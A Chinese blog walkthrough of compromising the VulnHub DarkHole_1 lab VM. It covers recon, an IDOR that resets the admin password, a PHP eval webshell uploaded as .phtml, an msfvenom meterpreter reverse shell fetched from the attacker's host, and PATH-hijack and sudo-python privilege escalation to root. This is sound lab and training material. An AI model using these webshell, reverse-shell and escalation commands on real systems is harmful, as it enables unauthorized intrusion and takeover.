VulnHub-DarkHole_1靶机渗透详解

1.靶机部署

kali安装https://blog.csdn.net/l2872253606/article/details/123592717?spm=1001.2014.3001.5502
靶机下载:https://download.vulnhub.com/darkhole/DarkHole.zip
得到三个文件,稍后需要打开的shi.ovf的文件:
image.png
使用VMware打开该文件:
image.png
设置好名称和虚拟机位置:
注意:导入过程中可能会提示导入失败,点击重试即可。
image.png
虚拟机的基本设置:
image.png
导入成功,打开虚拟机,到此虚拟机部署完成!
image.png
注意:靶机的网络连接模式必须和kali一直,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。

2.信息收集

2.1 探测IP

使用nmap扫描同一个段下存活的IP
nmap 192.168.11.0/24
发现155开启了80端口,通过访问确实是我们的靶机!
image.png

2.2 详细信息扫描

使用nmap对靶机开放的端口进行更详细的扫描:
nmap -A -T4 -p- 192.168.11.155
image.png

2.3 敏感目录

dirsearch -u 192.168.11.155 -e *
image.png

2.4 指纹收集

whatweb -v 192.168.11.155
image.png

3.渗透过程

拿到这么一个网站,暂时没有多余的线索,只有个登录页面:
image.png

3.1 注册账号

暴力破解不太现实,可以尝试一下注册个账号:
image.png
分别输入用户名,邮箱,密码:
image.png

3.2 登录网站

然后使用我们注册的用户登录:
image.png

3.3 越权操作

3.3.1 文件上传

这里我们使用bp抓包,修改id的值为1,然后提交数据试试:
不会bp抓包?建议先去学学BurpSuite使用和浏览器代理
image.png
这里我们停下来想想,id=2是我们新建的用户,那么id=1呢,是不是系统本来就有的账户,更疯狂点是不是管理员?
带着我们刚刚的猜测,实践一下,我们刚刚提交的密码是111,然后重新登录,用户名就猜测一下admin吧!、
登录成功!!!
image.png
发现相比普通用户,多了一个文件上传功能:那我们上传一个php一句话木马试试:
<?php @eval($_POST[cmd]);?)>
image.png
发现报错了,人家对后缀名有要求,那就只能换一种方式了,现在有两中方案:

  • 1.改一个人家允许的后缀名,然后使用bp抓包改回来
  • 2.上传一个比较冷梦的后缀名,又不影响程序运行,例如phtml

image.png
大道至简,先上传一个phtml的php文件试试,
phtml解释:image.png
创建文件:
image.png
上传文件:
image.png

3.3.2 蚁剑连接

image.png

3.4 反弹shell

3.4.1 生成php反弹shell脚本:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.11.128 lpor=4444 -o msfshell.php
image.png

3.4.2 开启ftp服务,靶机端下载

开启ftp服务:
python3 -m http.server 80
image.png
在靶机的upload文件夹下载:
image.png

3.4.3 kali端开启msf监听

开启msf,使用模块,设置参数和载荷:
use exploit/multi/handler
set lhost 192.168.11.128
set lport 4444
set payload php/meterpreter/reverse_tcp
image.png
设置完成后,查看设置:
show options
image.png
开启监听:
run
image.png
访问shell文件触发监听:
http://192.168.11.155//upload/msfshell.php
image.png
进入shell,并生成一个交互式shell:
shell
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
image.png

3.5 提权

查看敏感文件之后发现有两个用户:
cat /etc/passwd | grep /bin/bash
image.png
经过一番搜索,在john的家目录发现一个叫toto的文件,具有SUID权限,其作用是输出id:
image.png
既然如此,我们能不能修改一下环境变量,让他执行id命令的时候打开一个john的bash:

echo "/bin/bash" > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH
./toto

image.png
拿到john的权限之后,查看john的家目录,找到了密码:
image.png
查看john的权限:
这里需要输入密码

sudo -l

发现john可以以root的身份执行file这个python文件:
image.png
在file.py里面写一段打开shell的代码,再以root的身份执行:

echo “import pty;pty.spawn(‘/bin/bash’)” > file.py
sudo python3 /home/john/file.py

image.png
成功拿到root权限!!!

夺旗!!!

实话说,这个旗子抱看。
image.png

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值